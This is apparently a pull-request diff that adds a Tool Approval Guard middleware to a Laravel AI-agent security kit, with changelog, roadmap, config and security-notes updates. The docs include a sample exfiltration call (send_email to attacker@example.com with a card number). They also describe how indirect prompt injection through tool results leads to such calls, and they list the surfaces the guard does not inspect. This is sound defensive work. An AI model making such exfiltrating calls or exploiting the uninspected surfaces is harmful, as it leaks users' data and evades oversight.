Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,42 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

### Removed

## [0.3.0] - 2026-00-06

- Added `promptphp/intercept-tool-approval-guard`, which inspects the tool calls an agent proposes
while pausing for human approval, before they are surfaced for review. Intercept already scans
what a human edited when resolving a paused run but trusts whatever the model proposed.
- Added tool allow and deny lists, PII and secret detection, and prompt injection detection over
proposed tool arguments. Sensitive data in an outbound tool argument is an exfiltration signal;
an injection pattern suggests the model was manipulated by content Intercept never saw.
- Added `block` and `log` actions, `block_entities` that stop the run regardless of the action, and
a custom callback receiving `ApprovalFinding` value objects.
- Added `PIIRedactor\Detectors\DefaultDetectors::all()` and `InjectionGuardDefaults::patterns()` so
the detector set and injection patterns can be reused without duplication. Detection behaviour is
unchanged and the pattern strings are byte-identical.
- Added `pendingApprovalSegments()` to the `ScansApprovalDecisions` concern, which walks proposed
tool arguments using the same dot-path extraction as edited arguments.

### Changed

- This is the first Intercept middleware to act on the response rather than the prompt, since the
tool calls it guards are proposed by the model.
- On a streamed run the guard cannot block, because `$next()` returns before the model has proposed
anything and the caller has received the streamed text by the time approvals are known. The
`block` action degrades to logging there, recorded as `degraded_from`. The tool has still not
executed, so a logged proposal continues to require human approval before anything happens.
- Updated the security notes: proposed tool calls are now inspected, but tool results, attachments,
and conversation history still are not, and only approval-gated tools are covered.
- Moved the credit card Luhn check into the credit card detector's own validator, matching how the
URL detectors already validate. The detector previously emitted every 13 to 19 digit run and
relied on `PIIRedactor` filtering the failures afterwards, which meant it could not be reused on
its own. Detection results are unchanged.

### Removed

- Removed the protected `PIIRedactor::passesLuhn()` method, now that the check lives in the credit
card detector. This only affects code that subclassed `PIIRedactor` and called it directly.

## [0.2.0] - 2026-07-31

### Added
Expand Down
15 changes: 15 additions & 0 deletions ROADMAP.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,21 @@ Current focus:
- safe logging with hashes
- optional global config through `config/intercept.php`

### `promptphp/intercept-tool-approval-guard`

Inspects the tool calls an agent proposes while pausing for human approval, before they are surfaced for review.

This is the first middleware to act on the response rather than the prompt, because the tool calls it guards are proposed by the model rather than supplied by the user.

Current focus:

- tool allow and deny lists
- PII and secret detection in proposed tool arguments, as an exfiltration signal
- prompt injection detection in proposed tool arguments
- `block` and `log` actions, with blocked entities overriding the action
- safe logging with value hashes and tool call provenance
- optional global config through `config/intercept.php`

## Proposed package roadmap

I have a few ideas in mind and I've tried to prioritize them based on value and ease of implementation. This file will receieve updates as they are implemented and more ideas are conceived.
Expand Down
10 changes: 7 additions & 3 deletions composer.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "promptphp/intercept",
"description": "A modular, drop-in middleware kit for Laravel AI agents. Protect, observe, and govern your AI agents with granular, install-what-you-need middleware packages.",
"description": "A middleware collection for Laravel AI SDK agents providing middleware across security, observability, performance and guidance.",
"type": "library",
"license": "MIT",
"homepage": "https://intercept.promptphp.com",
Expand Down Expand Up @@ -44,14 +44,16 @@
"replace": {
"promptphp/intercept-injection-guard": "self.version",
"promptphp/intercept-pii-redactor": "self.version",
"promptphp/intercept-support": "self.version"
"promptphp/intercept-support": "self.version",
"promptphp/intercept-tool-approval-guard": "self.version"
},
"autoload": {
"psr-4": {
"PromptPHP\\Intercept\\": "src/",
"PromptPHP\\Intercept\\InjectionGuard\\": "src/InjectionGuard/src/",
"PromptPHP\\Intercept\\PIIRedactor\\": "src/PIIRedactor/src/",
"PromptPHP\\Intercept\\Support\\": "src/Support/src/"
"PromptPHP\\Intercept\\Support\\": "src/Support/src/",
"PromptPHP\\Intercept\\ToolApprovalGuard\\": "src/ToolApprovalGuard/src/"
}
},
"autoload-dev": {
Expand All @@ -60,6 +62,7 @@
"PromptPHP\\Intercept\\PIIRedactor\\Tests\\": "src/PIIRedactor/tests/",
"PromptPHP\\Intercept\\Support\\Tests\\": "src/Support/tests/",
"PromptPHP\\Intercept\\Tests\\": "tests/",
"PromptPHP\\Intercept\\ToolApprovalGuard\\Tests\\": "src/ToolApprovalGuard/tests/",
"Workbench\\App\\": "workbench/app/"
}
},
Expand Down Expand Up @@ -99,6 +102,7 @@
"test:injection-guard": "vendor/bin/pest src/InjectionGuard/tests",
"test:pii-redactor": "vendor/bin/pest src/PIIRedactor/tests",
"test:support": "vendor/bin/pest src/Support/tests",
"test:tool-approval-guard": "vendor/bin/pest src/ToolApprovalGuard/tests",
"format": "vendor/bin/pint",
"test:types": "vendor/bin/phpstan analyse",
"test:lint": [
Expand Down
24 changes: 24 additions & 0 deletions docs/changelog.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,30 @@ rss: true

Product updates and release notes for Intercept.

<Update label="August 6, 2026" description="v0.3.0" tags={["Release", "Security"]}>
Added `promptphp/intercept-tool-approval-guard`, a new middleware that inspects the tool calls an agent proposes while pausing for human approval, before they are surfaced for review.

Intercept has always inspected what goes *out*. It never saw what comes back in — tool results, retrieved documents, and conversation history do not pass through the middleware pipeline, and that is exactly where indirect prompt injection lives.

When an agent is manipulated by content Intercept never saw, the damage almost always surfaces as a tool call:

```text
send_email(to: "attacker@example.com", body: "card 4111111111111111")
```

Tool Approval Guard inspects those proposed calls. It checks three things:

- whether the tool is permitted at all, via allow and deny lists
- whether an argument carries personal or secret-like data, which signals exfiltration
- whether an argument matches a prompt injection pattern, which signals the model was manipulated

It reuses the detectors and patterns from PII Redactor and Injection Guard rather than maintaining a second copy, so it inherits their behaviour exactly.

This release also closes an asymmetry shipped in v0.2.0: Intercept scanned what a *human* edited when resolving a paused run, but trusted whatever the *model* proposed.

The middleware only acts when a run pauses for approval, so adding it is safe even before you adopt human-in-the-loop.
</Update>

<Update label="July 31, 2026" description="v0.2.0" tags={["Release", "Security"]}>
Added tool approval decision scanning to `PromptInjectionGuard` and `PIIRedactor`.

Expand Down
20 changes: 20 additions & 0 deletions docs/configuration.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -134,6 +134,26 @@ Supported entities:
7. mac_address
8. url

### Tool Approval Guard options

| Option | Type | Default | Description |
| ---------------- | -------- | ------------------ | -------------------------------------------------------- |
| `action` | `string` | `block` | How to handle a flagged proposed tool call. |
| `allowed_tools` | `array` | `[]` | Tools that may be proposed. Empty permits every tool. |
| `denied_tools` | `array` | `[]` | Tools that may never be proposed. |
| `scan_pii` | `bool` | `true` | Whether to scan proposed arguments for PII and secrets. |
| `scan_injection` | `bool` | `true` | Whether to scan proposed arguments for injection. |
| `entities` | `array` | supported entities | Which entity types to detect in arguments. |
| `block_entities` | `array` | high-risk entities | Which entities always block. |
| `log_preview` | `bool` | `false` | Whether logs may include a short argument preview. |

Supported actions:

1. block
2. log

This middleware acts on the response rather than the prompt, because the tool calls it guards are proposed by the model. It has no mutating action, since a proposed tool call belongs to the paused turn the provider recorded.

## Tool approval resumes

When an agent pauses for tool approval and is resumed with `Decisions`, the prompt text is empty. The new content is whatever a human supplied while resolving the pending tool calls: edited tool arguments and rejection results.
Expand Down
3 changes: 2 additions & 1 deletion docs/docs.json
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,8 @@
"icon": "shield",
"pages": [
"middleware/injection-guard",
"middleware/pii-redactor"
"middleware/pii-redactor",
"middleware/tool-approval-guard"
]
},
{
Expand Down
7 changes: 5 additions & 2 deletions docs/guides/security-notes.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -86,15 +86,18 @@ It sees:

- the prompt text sent to the agent
- edited tool arguments and rejection results supplied when resuming a paused run
- the tool calls the model proposes for approval, with [Tool Approval Guard](/middleware/tool-approval-guard) installed

It does not see:

- tool results returned to the model mid-run
- attachments sent alongside the prompt
- prior conversation history replayed from a conversation store
- the model's response
- the model's response text

This matters most for indirect prompt injection. If a tool fetches a web page, reads a document, or queries a record that contains injected instructions, that content is handed to the model without passing through Intercept. The same is true of anything the model itself produces.
This matters most for indirect prompt injection. If a tool fetches a web page, reads a document, or queries a record that contains injected instructions, that content is handed to the model without passing through Intercept.

Tool Approval Guard narrows that gap but does not close it. It inspects what the model *proposed* after reading poisoned content, which is where the damage usually surfaces, but it cannot inspect the poisoned content itself. It also only applies to tools that are approval-gated. A tool that runs without approval is never inspected.

Guard those surfaces separately:

Expand Down
Loading
Loading